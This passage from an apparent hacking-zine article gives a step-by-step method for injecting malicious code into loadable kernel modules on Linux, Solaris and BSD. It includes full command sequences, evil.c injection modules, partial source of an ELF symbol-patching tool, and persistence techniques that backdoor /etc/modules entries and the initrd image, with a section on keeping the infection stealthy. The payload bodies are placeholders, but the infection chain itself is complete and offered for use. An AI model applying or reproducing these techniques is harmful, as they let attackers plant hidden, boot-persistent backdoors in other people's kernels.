00000040 g     F .text	00000020 evil
00000000 g     O .gnu.linkonce.this_module	00000174 __this_module
00000000 g     F .text	00000019 cleanup_module
00000020 g     F .text	0000001b init_module
00000000         *UND*	00000000 mcount
00000000         *UND*	00000000 printk
00000020 g     F .text	0000001b init

We can notice that the init symbol is no more *UND*. The final step is to
modify the value of init_module:

$ ./elfchger -s init_module -v 00000040 new.ko
[+] Opening new.ko file...
[+] Reading Elf header...
	>> Done!
[+] Finding ".symtab" section...
	>> Found at 0x954
[+] Finding ".strtab" section...
	>> Found at 0x97c
[+] Getting symbol' infos:
	>> Symbol found at 0xbfc
	>> Index in symbol table: 0x1e
[+] Replacing 0x00000020 with 0x00000040... done!

Let's try to load module:

$ mv new.ko orig.ko
$ sudo insmod orig.ko
$ dmesg|tail
...
[ 2385.342838] Init Original!
[ 2385.342845] Init Inject!

Cool!! It works!


---[ 4.2 Static __init init functions


In the previous section it was demonstrated how to inject modules when the
init function is declared as static. However in some cases the startup
function in the kernel modules is defined with the __init macro:

static int __init function_name();

The __init macro is used to describe the function as only being required
during initialisation time. Once initialisation has been performed, the
kernel will remove this function and release the corresponding memory.

The __init macro is defined in "include/linux/init.h":

/*************************************************************************/
#define __init               __section(.init.text) __cold notrace
/*************************************************************************/

The __section macro is defined in "include/linux/compiler.h":

/*************************************************************************/
#define __section(S)         __attribute__ ((__section__(#S)))
/*************************************************************************/

While __cold macro is defined in "/include/linux/compiler-gcc*.h":

/*************************************************************************/
#define __cold               __attribute__((__cold__))
/*************************************************************************/

When the __init macro is used, a number of GCC attributes are added to the
function declaration. The __cold attribute informs the compiler to optimize
it for size instead of speed, because it'll be rarely used. The __section
attribute informs the compiler to put the text for this function in a new
section named ".init.text" [5]. How these __init functions are called can
be checked in "kernel/module.c":

/*************************************************************************/
static void __init do_initcalls(void)
{
     initcall_t *fn;

     for (fn = __early_initcall_end; fn < __initcall_end; fn++)
          do_one_initcall(*fn);

     /* Make sure there is no pending stuff from the initcall sequence */
     flush_scheduled_work();
}

/*************************************************************************/

For each step of the loop inside the do_initcalls() function, an __init
function set up by the module_init macro is executed. The injection will
work even if the function is declared with __init.

The module orig is as follows:

/******************************** orig.c *********************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>

MODULE_LICENSE("GPL");

static int __init init(void) {

    printk(KERN_ALERT "Init Original!");

    return 0;
}

static void clean(void) {

    printk(KERN_ALERT "Exit Original!");

    return;
}

module_init(init);
module_exit(clean);
/******************************** EOF ************************************/

After the compilation and as expected, a new .init.text section has
appeared:

$ objdump -t orig.ko
...
00000000 l     F .init.text	00000016 init
00000000 l     O .modinfo	0000000c __mod_license6
00000000 l    df *ABS*	00000000 orig.mod.c
00000020 l     O .modinfo	00000023 __mod_srcversion31
00000043 l     O .modinfo	00000009 __module_depends
00000000 l     O __versions	000000c0 ____versions
00000060 l     O .modinfo	0000003b __mod_vermagic5
00000000 g     O .gnu.linkonce.this_module	00000174 __this_module
00000000 g     F .text	00000019 cleanup_module
00000000 g     F .init.text	00000016 init_module
00000000         *UND*	00000000 mcount
00000000         *UND*	00000000 printk

Both init and init_module symbols are part of the .init.text section. This
new issue can be solved by defining the evil() function as __init:

/******************************** evil.c *********************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>

MODULE_LICENSE("GPL");

extern int __init init();

int __init evil(void) {

    init();
    printk(KERN_ALERT "Init Inject!");

    /* does something */

    return 0;
}
/******************************** EOF ************************************/

Both init() and evil() are prefixed with  __init because we need them in
the same section. The same steps described in section 4.1.3 are then
performed:

1 - Change the init binding:

$ ./elfchger -g init orig.ko
[+] Opening orig.ko file...
[+] Reading Elf header...
	>> Done!
[+] Finding ".symtab" section...
	>> Found at 0x77c
[+] Finding ".strtab" section...
	>> Found at 0x7a4
[+] Getting symbol' infos:
	>> Symbol found at 0x8fc
	>> Index in symbol table: 0xf
[+] Reordering symbols:
	>> Starting:
	>> Moving symbol from 10 to f
	>> Moving symbol from 11 to 10
	>> Moving symbol from 12 to 11
	>> Moving symbol from 13 to 12
	>> Moving symbol from 14 to 13
	>> Moving symbol from 15 to 14
	>> Moving our symbol from 15 to 15
	>> Last LOCAL symbol: 0x15
	>> Done!
[+] Updating symbol' infos:
	[>> Symbol found at 0x95c
	>> Index in symbol table: 0x15
	>> Replacing flag 'LOCAL' located at 0x968 with 'GLOBAL'
[+] Updating symtab infos at 0x77c


2 - Link the modules together:

$ ld -r orig.ko evil.ko -o new.ko
$ objdump -t new.ko

...

00000016 g     F .init.text	0000001b evil
00000000 g     O .gnu.linkonce.this_module	00000174 __this_module
00000000 g     F .text	00000019 cleanup_module
00000000 g     F .init.text	00000016 init_module
00000000         *UND*	00000000 mcount
00000000         *UND*	00000000 printk
00000000 g     F .init.text	00000016 init


3 - Change init_module address:

$ ./elfchger -s init_module -v 00000016 new.ko
[+] Opening new.ko file...
[+] Reading Elf header...
	>> Done!
[+] Finding ".symtab" section...
	>> Found at 0x954
[+] Finding ".strtab" section...
	>> Found at 0x97c
[+] Getting symbol' infos:
	>> Symbol found at 0xbec
	>> Index in symbol table: 0x1f
[+] Replacing 0x00000000 with 0x00000016... done!

$ objdump -t new.ko

...

00000016 g     F .init.text	0000001b evil
00000000 g     O .gnu.linkonce.this_module	00000174 __this_module
00000000 g     F .text	00000019 cleanup_module
00000016 g     F .init.text	00000016 init_module
00000000         *UND*	00000000 mcount
00000000         *UND*	00000000 printk
00000000 g     F .init.text	00000016 init


4 - Load the module in memory:

$ mv new.ko orig.ko
$ sudo insmod orig.ko
$ dmesg|tail
...
[  323.085545] Init Original!
[  323.085553] Init Inject!

As expected, it works!


---[ 4.3 - What about cleanup_module


These methods work fine with the cleanup_module symbol which is called by
the kernel when the module is unloaded. Never forget to deal with the
termination function as well because if you don't and if the infected
module was removed for some reason then your kernel would most likely crash
(because there would now be invalid references to the module).

The module exit function can be injected simply by altering the symbol
whose name is specified in elfchger:

$ ./elfchger -s cleanup_module -v address_evil_fn new.ko

In this way, when the module is unloaded, the evil() function will be
invoked instead of the clean() one. You may also need to deal with binding
issues and __exit attribute but the adaptation of the previous method is
straightforward.


---[ 5 - Real life example


This chapter will show the usage of the present method in a real life
example. Let's suppose that evil.ko is a working backdoor. We want to
inject it into a kernel module not used by any other kernel module. This
test was done on Ubuntu 11.10 (x86) with a 3.0.0 kernel.

$ uname -a
Linux ubuntu 3.0.0-15-generic #26-Ubuntu SMP Fri Jan 20 15:59:53 UTC 2012
i686 i686 i386 GNU/Linux

Let's begin by checking which modules to infect by using the lsmod command:

$ lsmod

Module                  Size  Used by
serio_raw               4022  0
lp                      7342  0
snd_seq_midi            4588  0
usbhid                 36882  0
binfmt_misc             6599  1
agpgart                32011  1 drm
snd_intel8x0           25632  2

...

libahci                21667  3 ahci

The command output shows that some of the modules are not used by any
other module. These modules can be unloaded safely and then they can be
infected with our backdoor using the method presented above. This chapter
is divided into two sections in which I'll describe two techniques to load
the module when the operating system is booted:

1 - Infect a kernel module (or simply add a new one) on
    /etc/modprobe.preload (Fedora, etc.) or in /etc/modules on
    Debian/Ubuntu.

2 - Backdoor initrd.


---[ 5.1 - Infecting a kernel module in /etc/modules

First of all, we have to know which modules are in the /etc/modules file:

$ cat /etc/modules
# /etc/modules: kernel modules to load at boot time.
...
lp

As described in the previous section, this module (lp.ko) can be unloaded
safely and then infected with our backdoor.

$ find / -name lp.ko
...
/lib/modules/3.0.0-15-generic/kernel/drivers/char/lp.ko
...

$ cd /lib/modules/3.0.0-15-generic/kernel/drivers/char

Next, we check which function is called by the init_module:

$ objdump -t lp.ko |grep -e ".init.text"
00000000 l     F .init.text 00000175 lp_init
00000175 l     F .init.text 000000ae lp_init_module
00000000 l    d  .init.text 00000000 .init.text
00000175 g     F .init.text 000000ae init_module

We want to infect the lp_init_module() function, so the evil module will
be coded in the following way:

/****************** evil.c ***********************************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>

MODULE_LICENSE("GPL");

extern int __init lp_init_module();

int __init evil(void) {

    printk(KERN_ALERT "Init Inject! Lp");
    lp_init_module();

    /* does something */

    return 0;
}
/****************** EOF **************************************************/

Since the lp_init_module function is static we need to change its binding
type to global.

$ ./elfchger -g lp_init_module lp.ko
[+] Opening lp.ko file...
[+] Reading Elf header...
    >> Done!
[+] Finding ".symtab" section...
    >> Found at 0x28a0
[+] Finding ".strtab" section...
    >> Found at 0x28c8
[+] Getting symbol' infos:
    >> Symbol found at 0x2b30
    >> Index in symbol table: 0x24
[+] Reordering symbols:
    >> Starting:
    >> Moving symbol from 25 to 24
    >> Moving symbol from 26 to 25
    >> Moving symbol from 27 to 26
    >> Moving symbol from 28 to 27
    >> Moving symbol from 29 to 28
    >> Moving symbol from 2a to 29
    >> Moving symbol from 2b to 2a
    >> Moving symbol from 2c to 2b
    >> Moving symbol from 2d to 2c
    >> Moving symbol from 2e to 2d
    >> Moving symbol from 2f to 2e
    >> Moving symbol from 30 to 2f
    >> Moving symbol from 31 to 30
    >> Moving symbol from 32 to 31
    >> Moving symbol from 33 to 32
    >> Moving symbol from 34 to 33
    >> Moving symbol from 35 to 34
    >> Moving symbol from 36 to 35
    >> Moving symbol from 37 to 36
    >> Moving symbol from 38 to 37
    >> Moving symbol from 39 to 38
    >> Moving symbol from 3a to 39
    >> Moving symbol from 3b to 3a
    >> Moving symbol from 3c to 3b
    >> Moving symbol from 3d to 3c
    >> Moving our symbol from 36 to 3d
    >> Last LOCAL symbol: 0x3d
    >> Done!
[+] Updating symbol' infos:
    >> Symbol found at 0x2cc0
    >> Index in symbol table: 0x3d
    >> Replacing flag 'LOCAL' located at 0x2ccc with 'GLOBAL'
[+] Updating symtab infos at 0x28a0

The two modules can be now linked together:

$ ld -r lp.ko evil.ko -o new.ko
$ objdump -t new.ko |grep -e init_module -e evil
00000000 l    df *ABS*  00000000 evil.c
00000000 l    df *ABS*  00000000 evil.mod.c
00000223 g     F .init.text 00000019 evil
00000175 g     F .init.text 000000ae lp_init_module
00000175 g     F .init.text 000000ae init_module

Now the relative address of init_module has to be changed to 0000021a:

$ ./elfchger -s init_module -v 00000223 new.ko
[+] Opening new.ko file...
[+] Reading Elf header...
    >> Done!
[+] Finding ".symtab" section...
    >> Found at 0x2a34
[+] Finding ".strtab" section...
    >> Found at 0x2a5c
[+] Getting symbol' infos:
    >> Symbol found at 0x39a4
    >> Index in symbol table: 0x52
[+] Replacing 0x00000175 with 0x00000223... done!

The new.ko module must be renamed to lp.ko and then loaded:

$ mv new.ko lp.ko
$ sudo rmmod lp
$ sudo insmod lp.ko
$ dmesg|tail
...
$ dmesg
....
[ 1033.418723] Init Inject! Lp
[ 1033.431131] lp0: using parport0 (interrupt-driven).

From now on, every time the system is booted, the infected lp kernel
module will be loaded instead of the original one.


---[ 5.2 - Backdooring initrd

It is also possible to backdoor a module in the initrd image. The target
module has to be extracted out of the image, backdoored and then reinserted
back. The target module used throughout this example will be usbhid.ko.

In order to inject a kernel module into the initrd image, we'll follow the
guide in [9], which explains how to add a new module inside the initrd
image. According to [9], the initrd image can be copied from /boot to a
target directory (e.g. /tmp) so we can easily work on it:

$ cp /boot/initrd.img-2.6.35-22-generic /tmp/
$ cd /tmp

The image can be now decompressed using the gzip tool:

$ mv initrd.img-2.6.35-22-generic initrd.img-2.6.35-22-generic.gz
$ gzip -d initrd.img-2.6.35-22-generic.gz
$ mkdir initrd
$ cd initrd/
$ cpio -i -d -H newc -F ../initrd.img-2.6.35-22-generic \
--no-absolute-filenames
50522 blocks

The location of the usbhid.ko module has then to be found inside the kernel
tree:

$ find ./ -name usbhid
./lib/modules/2.6.35-22-generic/kernel/drivers/hid/usbhid
$ cd lib/modules/2.6.35-22-generic/kernel/drivers/hid/usbhid

At this point it can be easily infected with our evil module:

$ objdump -t usbhid.ko |grep -e ".init.text"
00000000 l     F .init.text	000000c3 hid_init
00000000 l    d  .init.text	00000000 .init.text
00000000 g     F .init.text	000000c3 init_module
000000c3 g     F .init.text	00000019 hiddev_init

Since we want to infect the hid_init() function, the evil module will be
coded in the following way:

/****************** evil.c ***********************************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>

MODULE_LICENSE("GPL");

extern int __init hid_init();

int __init evil(void) {

    hid_init();
    printk(KERN_ALERT "Init Inject! Usbhid");

    /* does something */

    return 0;
}
/****************** EOF **************************************************/

$ ./elfchger -g hid_init usbhid.ko
[+] Opening usbhid.ko file...
[+] Reading Elf header...
	>> Done!
[+] Finding ".symtab" section...
	>> Found at 0xa24c
[+] Finding ".strtab" section...
	>> Found at 0xa274
[+] Getting symbol' infos:
	>> Symbol found at 0xa4dc
	>> Index in symbol table: 0x24
[+] Reordering symbols:
	>> Starting:
	>> Moving symbol from 25 to 24
...
	>> Moving symbol from a6 to a5
	>> Moving our symbol from 36 to a6
	>> Last LOCAL symbol: 0xa6
	>> Done!
[+] Updating symbol' infos:
	>> Symbol found at 0xacfc
	>> Index in symbol table: 0xa6
	>> Replacing flag 'LOCAL' located at 0xad08 with 'GLOBAL'
[+] Updating symtab infos at 0xa24c

$ ld -r usbhid.ko evil.ko -o new.ko
$ objdump -t new.ko | grep -e init_module -e evil
00000000 l    df *ABS*	00000000 evil.c
00000000 l    df *ABS*	00000000 evil.mod.c
000000dc g     F .init.text	0000001b evil
00000000 g     F .init.text	000000c3 init_module


$ ./elf -s init_module -v 000000dc new.ko
[+] Opening new.ko file...
[+] Reading Elf header...
	>> Done!
[+] Finding ".symtab" section...
	>> Found at 0xa424
[+] Finding ".strtab" section...
	>> Found at 0xa44c
[+] Getting symbol' infos:
	>> Symbol found at 0xd2dc
	>> Index in symbol table: 0xd5
[+] Replacing 0x00000000 with 0x000000dc... done!

$ mv new.ko usbhid.ko

Once the target module has been infected with the evil one, we must
recreate the initrd image:

$ cd /tmp/initrd/
$ find . | cpio -o -H newc | gzip > /tmp/initrd.img-2.6.35-22-generic
50522 blocks
$ cp ../initrd.img-2.6.35-22-generic /boot/

From now on, every time the system is booted, the infected usbhid kernel
module will be loaded instead of the original one.


---[ 6 - What about other systems?


In this last chapter we will see how the presented infection method can
applied to other operating systems, specifically Solaris, FreeBSD, NetBSD
and OpenBSD. It will be shown that, even if the method is different from
that used on Linux, infection is still possible.


---[ 6.1 - Solaris

On Solaris systems infecting a kernel module is simpler than on Linux ones.
Changing the symbol's name in the .strtab ELF section is sufficient,
similarly to truff's original method for the Linux kernel 2.4.* versions.
The method has been tested on Solaris 10:

# uname -a
SunOS unknown 5.10 Generic_142910-17 i86pc i386 i86pc


---[ 6.1.1 - A basic example


The orig.c and evil.c source codes are as follows:

/******************************** orig.c *********************************/
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/modctl.h>

extern struct mod_ops mod_miscops;

static struct modlmisc modlmisc =
{
    &mod_miscops,
    "original",
};

static struct modlinkage modlinkage =
{
    MODREV_1,
    (void *) &modlmisc,
    NULL
};

int _init(void) {

    int i;

    if ((i = mod_install(&modlinkage)) != 0)
        cmn_err(CE_NOTE, "Can't load module!\n");
    else
        cmn_err(CE_NOTE, "Init Original!");

    return i;
}

int _info(struct modinfo *modinfop) {

    return (mod_info(&modlinkage, modinfop));
}

int _fini(void) {

    int i;

    if ((i = mod_remove(&modlinkage)) != 0)
        cmn_err(CE_NOTE, "Can't remove module!\n");
    else
        cmn_err(CE_NOTE, "Exit Original!");

    return i;
}
/******************************** EOF ************************************/

/******************************** evil.c *********************************/
#include <sys/ddi.h>
#include <sys/sunddi.h>

#include <sys/modctl.h>

extern int _evil(void);

int _init(void) {

    cmn_err(CE_NOTE, "Inject!");

    _evil();

    return 0;
}
/******************************** EOF ************************************/

The _init function is called at module initialisation, while the _fini one
is called at module cleanup. The _info function prints information about
the module when the "modinfo" command is invoked. The two modules can be
compiled using the following commands:

# /usr/sfw/bin/gcc -g -D_KERNEL -DSVR4 -DSOL2 -DDEBUG -O2 -c orig.c
# /usr/sfw/bin/gcc -g -D_KERNEL -DSVR4 -DSOL2 -DDEBUG -O2 -c evil.c

Let's have a look at the orig.o ELF file by using the "elfdump" command:

# /usr/ccs/bin/elfdump -s orig.o

Symbol Table Section:  .symtab
    index    value      size      type bind oth ver shndx     name
      [0]  0x00000000 0x00000000  NOTY LOCL  D    0 UNDEF
      [1]  0x00000000 0x00000000  FILE LOCL  D    0 ABS       orig.c
      [2]  0x00000000 0x00000000  SECT LOCL  D    0 .text

      ...

     [16]  0x00000000 0x00000000  NOTY GLOB  D    0 UNDEF     mod_miscops
     [17]  0x00000000 0x0000004d  FUNC GLOB  D    0 .text     _init
     [18]  0x00000000 0x00000000  NOTY GLOB  D    0 UNDEF     mod_install
     [19]  0x00000000 0x00000000  NOTY GLOB  D    0 UNDEF     cmn_err
     [20]  0x00000050 0x00000018  FUNC GLOB  D    0 .text      _info
     [21]  0x00000000 0x00000000  NOTY GLOB  D    0 UNDEF     mod_info
     [22]  0x00000068 0x0000004d  FUNC GLOB  D    0 .text     _fini
     [23]  0x00000000 0x00000000  NOTY GLOB  D    0 UNDEF     mod_remove

The _evil() function must be called instead of _init when the module is
loaded. To achieve this, the following steps have to be performed:

- Change the _init symbol name to _evil in orig.o;
- Link the two modules together;

This way, the kernel will load the _init() function defined in evil.c which
in turn will call the _evil() function (the old _init()) in order to
maintain the correct behaviour of the orig module. It is possible to change
a symbol name using the 'objcopy' tool. In fact the '--redefine-sym' option
can be used to give an arbitrary name to the specified symbol:

# /usr/sfw/bin/gobjcopy --redefine-sym _init=_evil orig.o
# /usr/ccs/bin/elfdump -s orig.o

Symbol Table Section:  .symtab
     index    value      size      type bind oth ver shndx      name
       [0]  0x00000000 0x00000000  NOTY LOCL  D    0 UNDEF
       [1]  0x00000000 0x00000000  FILE LOCL  D    0 ABS        orig.c
       [2]  0x00000000 0x00000000  SECT LOCL  D    0 .text

       ...

      [16]  0x00000000 0x00000000  NOTY GLOB  D    0 UNDEF      mod_miscops
      [17]  0x00000000 0x0000004d  FUNC GLOB  D    0 .text      _evil
      [18]  0x00000000 0x00000000  NOTY GLOB  D    0 UNDEF      mod_install
      [19]  0x00000000 0x00000000  NOTY GLOB  D    0 UNDEF      cmn_err
      [20]  0x00000050 0x00000018  FUNC GLOB  D    0 .text      _info
      [21]  0x00000000 0x00000000  NOTY GLOB  D    0 UNDEF      mod_info
      [22]  0x00000068 0x0000004d  FUNC GLOB  D    0 .text      _fini
      [23]  0x00000000 0x00000000  NOTY GLOB  D    0 UNDEF      mod_remove


By checking with "elfdump" it is possible to verify if the script properly
performed its job:

# /usr/ccs/bin/elfdump -s orig.o

Symbol Table Section:  .symtab
     index    value      size      type bind oth ver shndx     name
       [0]  0x00000000 0x00000000  NOTY LOCL  D    0 UNDEF
       [1]  0x00000000 0x00000000  FILE LOCL  D    0 ABS       orig.c
       [2]  0x00000000 0x00000000  SECT LOCL  D    0 .text

       ...

      [16]  0x00000000 0x00000000  NOTY GLOB  D    0 UNDEF     mod_miscops
      [17]  0x00000000 0x0000004d  FUNC GLOB  D    0 .text     _evil
      [18]  0x00000000 0x00000000  NOTY GLOB  D    0 UNDEF     mod_install
      [19]  0x00000000 0x00000000  NOTY GLOB  D    0 UNDEF     cmn_err
      [20]  0x00000050 0x00000018  FUNC GLOB  D    0 .text     _info
      [21]  0x00000000 0x00000000  NOTY GLOB  D    0 UNDEF     mod_info
      [22]  0x00000068 0x0000004d  FUNC GLOB  D    0 .text     _fini
      [23]  0x00000000 0x00000000  NOTY GLOB  D    0 UNDEF     mod_remove

The _init symbol name has been modified to _evil. The modules are then
linked together using the "ld" command:

# ld -r orig.o evil.o -o new.o

The new.o elf file dump follows:

# /usr/ccs/bin/elfdump -s new.o

Symbol Table Section:  .symtab
     index    value      size      type bind oth ver shndx     name
       [0]  0x00000000 0x00000000  NOTY LOCL  D    0 UNDEF
       [1]  0x00000000 0x00000000  FILE LOCL  D    0 ABS       new.o
       [2]  0x00000000 0x00000000  SECT LOCL  D    0 .text

       ...

      [27]  0x00000000 0x00000000  FILE LOCL  D    0 ABS       evil.c
      [28]  0x00000000 0x00000000  NOTY GLOB  D    0 UNDEF     mod_install
      [29]  0x00000000 0x0000004d  FUNC GLOB  D    0 .text     _evil
      [30]  0x00000068 0x0000004d  FUNC GLOB  D    0 .text     _fini
      [31]  0x00000050 0x00000018  FUNC GLOB  D    0 .text     _info
      [32]  0x000000b8 0x0000001e  FUNC GLOB  D    0 .text     _init
      [33]  0x00000000 0x00000000  NOTY GLOB  D    0 UNDEF     mod_miscops
      [34]  0x00000000 0x00000000  NOTY GLOB  D    0 UNDEF     mod_info
      [35]  0x00000000 0x00000000  NOTY GLOB  D    0 UNDEF     mod_remove
      [36]  0x00000000 0x00000000  NOTY GLOB  D    0 UNDEF     cmn_err

To summarize, the _init symbol is referring to the function defined in
evil.c, while the _evil symbol is referring to the old _init defined in
orig.c that we have just renamed to _evil.

Now, the last step is to rename the new.o into orig.o and to load it:

# mv new.o orig.o
# modload orig.o
# tail /var/adm/messages
...
May ... orig.o: [ID 343233 kern.notice] NOTICE: Inject!
May ... orig.o: [ID 662037 kern.notice] NOTICE: Init Original!

As you can see the module is successfully infected.

# modinfo | grep orig.o
247 fa9e6eac    160   -   1  orig.o (original)

# modunload -i 247


---[ 6.1.2 - Playing with OS modules


This section will explain how to infect a system kernel module. The method
remains the same but it will be necessary to make minor changes to the evil
module in order to correctly load it to memory. The evil module will be
injected into the audio driver.  First of all, the module has to be
unloaded:

# modinfo | grep lx_audio
216 f99e40e0   2614 242   1  lx_audio (linux audio driver 'lx_audio' 1)
# modunload -i 216

Now, it is possible to play with it:

# /usr/ccs/bin/elfdump -s lx_audio|grep _init
    [64]  0x000020c2 0x00000011  FUNC GLOB  D    0 .text       _init
   [118]  0x00000000 0x00000000  FUNC GLOB  D    0 UNDEF       mutex_init

# /usr/sfw/bin/gobjcopy --redefine-sym _init=_evil lx_audio
# ld -r evil.o lx_audio -o new
# /usr/ccs/bin/elfdump -s new|grep _evil
      [77]  0x000020de 0x00000011  FUNC GLOB  D    0 .text          _evil

# mv new lx_audio
# modload lx_audio

# tail /var/adm/messages
...

Dec 29 17:00:19 spaccio lx_audio: ... NOTICE: Inject!

Great, it works!


---[ 6.1.3 - Keeping it stealthy


According to the /etc/system file, the kernel modules that are loaded at
boot time are located in the /kernel and /usr/kernel directories. The
platform-dependent modules reside in the /platform directory. In this
example I'll infect the usb kernel module: usba.

First of all the kernel module's position in the filesystem must be
located:

# find /kernel -name usba
/kernel/misc/amd64/usba
/kernel/misc/usba
/kernel/kmdb/amd64/usba
/kernel/kmdb/usba

# cd /kernel/misc/usba

# /usr/ccs/bin/elfdump -s usba|grep _init
     ...

     [291]  0x00017354 0x0000004c  FUNC LOCL  D    0 .text     ugen_ds_init
     [307]  0x00017937 0x000000e3  FUNC LOCL  D    0 .text     ugen_pm_init
     [347]  0x00000fd4 0x00000074  FUNC GLOB  D    0 .text     _init
     ....
     [655]  0x00000000 0x00000000  FUNC GLOB  D    0 UNDEF     rw_init
     [692]  0x00000000 0x00000000  FUNC GLOB  D    0 UNDEF     cv_init

Now it is possible to change the _init symbol name to _evil.

# /usr/sfw/bin/gobjcopy --redefine-sym _init=_evil usba
# /usr/ccs/bin/elfdump -s usba|grep _evil
     [348]  0x00000fd4 0x00000074  FUNC GLOB  D    0 .text     _evil

# ld -r evil.o usba -o new

Now we have only to rename the module to its original name:

# mv new usba

From now on, every time the system is booted, the infected usba kernel
module will be loaded instead of the original one.


---[ 6.2 - *BSD


---[ 6.2.1 - FreeBSD - NetBSD - OpenBSD


The conclusions made by truff are still valid in the newest versions of
these operating systems. On FreeBSD, kernel modules are shared objects, so
the proposed method doesn't work because the kernel modules can't be
partially linked. On NetBSD and OpenBSD what we have to do is simply to
change the entry point of the kernel module when it is loaded. So our
function will be invoked instead the original one.


---[ 7 - Conclusions


In this paper a new module injection method was introduced to be used with
Linux kernel 2.6.x/3.0.x series. Several methods, from simple to more
sophisticated were presented to inject external code into kernel modules.

It was also explained how the method (with some changes) can be
successfully applied to a wide range of operating systems. I hope you'll
have fun with it and that you enjoyed this paper!

Bye.


---[ 8 - References


[1] Infecting loadable kernel modules
    https://phrack.org/issues/61/10.html#article

[2] EXECUTABLE AND LINKABLE FORMAT (ELF)
    http://www.muppetlabs.com/~breadbox/software/ELF.txt

[3] Init Call Mechanism in the Linux Kernel
    http://linuxgazette.net/157/amurray.html

[4] Understanding the Linux Kernel, 3rd Edition

[5] Init Call Mechanism in the Linux Kernel
    http://linuxgazette.net/157/amurray.html

[6] OpenBSD Loadable Kernel Modules
    http://www.thc.org/root/docs/loadable_kernel_modules/openbsd-lkm.html

[7] Introduction to NetBSD loadable kernel modules
    http://www.home.unix-ag.org/bmeurer/NetBSD/howto-lkm.html

[8] Solaris Loadable Kernel Modules
    http://www.thc.org/papers/slkm-1.0.html

[9] Initrd, modules, and tools
    http://www.dark.ca/2009/06/10/initrd-modules-and-tools/


---[ 9 - Codes


---[ 9.1 - Elfchger


/*
 * elfchger.c by styx^ <the.styx@gmail.com> (based on truff's code)
 *
 * Script with two features:
 *
 * Usage 1: Change the symbol name value (address) in a kernel module.
 * Usage 2: Change the symbol binding (from local to global) in a kernel
 *          module.
 *
 * Usage:
 * 1: ./elfchger -f [symbol] -v [value] <module_name>
 * 2: ./elfchger -g [symbol] <module_name>
 */

#include <stdlib.h>
#include <stdio.h>
#include <elf.h>
#include <string.h>
#include <getopt.h>

int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,
                         Elf32_Shdr *shdr);

int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
                       Elf32_Shdr *shstrtable, char *res, size_t len);

Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
                       Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);

void ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
                       Elf32_Shdr *strtable, char *res, size_t len);

unsigned long ReorderSymbols (FILE *fd, Elf32_Shdr *symtab,
                       Elf32_Shdr *strtab, char *name);

int ReoderRelocation(FILE *fd, Elf32_Shdr *symtab,
                       Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);

int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,
                          Elf32_Shdr *shdr);

void usage(char *cmd);

int main (int argc, char **argv) {

  FILE *fd;
  Elf32_Ehdr hdr;
  Elf32_Shdr symtab, strtab;
  Elf32_Sym sym;
  Elf32_Off symoffset;
  Elf32_Addr value;

  unsigned long new_index = 0;
  int gflag = 0, vflag = 0, fflag = 0;
  char *sym_name;
  int sym_value = 0;

  long sym_off, str_off;
  int opt;

  if ( argc != 4 && argc != 6 ) {
    usage(argv[0]);
    exit(-1);
  }

  while ((opt = getopt(argc, argv, "vsg")) != -1) {

    switch (opt) {

      case 'g':

        if( argc-1 < optind) {
	    printf("[-] You must specify symbol name!\n");
	    usage(argv[0]);
	    exit(-1);
        }

        gflag = 1;
        sym_name = argv[optind];

        break;

      case 's':

        if( argc-1 < optind) {
          printf("[-] You must specify symbol name!\n");
          usage(argv[0]);
          exit(-1);
        }

        fflag = 1;
        sym_name = argv[optind];

        break;

      case 'v':

        if( argc-1 < optind) {
          printf("[-] You must specify new symbol address\n");
          usage(argv[0]);
          exit(-1);
        }

        vflag = 1;
        sym_value = strtol(argv[optind], (char **) NULL, 16);

        break;

      default:
        usage(argv[0]);
        exit(-1);
    }
  }

  printf("[+] Opening %s file...\n", argv[argc-1]);

  fd = fopen (argv[argc-1], "r+");

  if (fd == NULL) {

    printf("[-] File \"%s\" not found!\n", argv[1]);
    exit(-1);
  }

  printf("[+] Reading Elf header...\n");

  if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1) {

    printf("[-] Elf header corrupted!\n");
    exit(-1);
  }

  printf("\t>> Done!\n");

  printf("[+] Finding \".symtab\" section...\n");

  sym_off = ElfGetSectionByName (fd, &hdr, ".symtab", &symtab);

  if (sym_off == -1) {

    printf("[-] Can't get .symtab section\n");
    exit(-1);
  }

  printf("\t>> Found at 0x%x\n", (int )sym_off);
  printf("[+] Finding \".strtab\" section...\n");

  str_off = ElfGetSectionByName (fd, &hdr, ".strtab", &strtab);

  if (str_off  == -1) {

    printf("[-] Can't get .strtab section!\n");
    exit(-1);
  }

  printf("\t>> Found at 0x%x\n", (int )str_off);

  printf("[+] Getting symbol' infos:\n");

  symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, sym_name, &sym);

  if ( (int) symoffset == -1) {

    printf("[-] Symbol \"%s\" not found!\n", sym_name);
    exit(-1);
  }

  if ( gflag == 1 ) {

    if ( ELF32_ST_BIND(sym.st_info) == STB_LOCAL ) {

      unsigned char global;
      unsigned long offset = 0;

      printf("[+] Reordering symbols:\n");

      new_index = ReorderSymbols(fd, &symtab, &strtab, sym_name);

      printf("[+] Updating symbol' infos:\n");

      symoffset = ElfGetSymbolByName(fd, &symtab, &strtab, sym_name, &sym);

      if ( (int) symoffset == -1) {

        printf("[-] Symbol \"%s\" not found!\n", sym_name);
        exit(-1);
      }

      offset = symoffset+1+sizeof(Elf32_Addr)+1+sizeof(Elf32_Word)+2;

      printf("\t>> Replacing flag 'LOCAL' located at 0x%x with 'GLOBAL'\
              \n", (unsigned int)offset);

      if (fseek (fd, offset, SEEK_SET) == -1) {

        perror("[-] fseek: ");
        exit(-1);
      }

      global = ELF32_ST_INFO(STB_GLOBAL, STT_FUNC);

      if (fwrite (&global, sizeof(unsigned char), 1, fd) < 1) {

        perror("[-] fwrite: ");
        exit(-1);
      }

      printf("[+] Updating symtab infos at 0x%x\n", (int )sym_off);

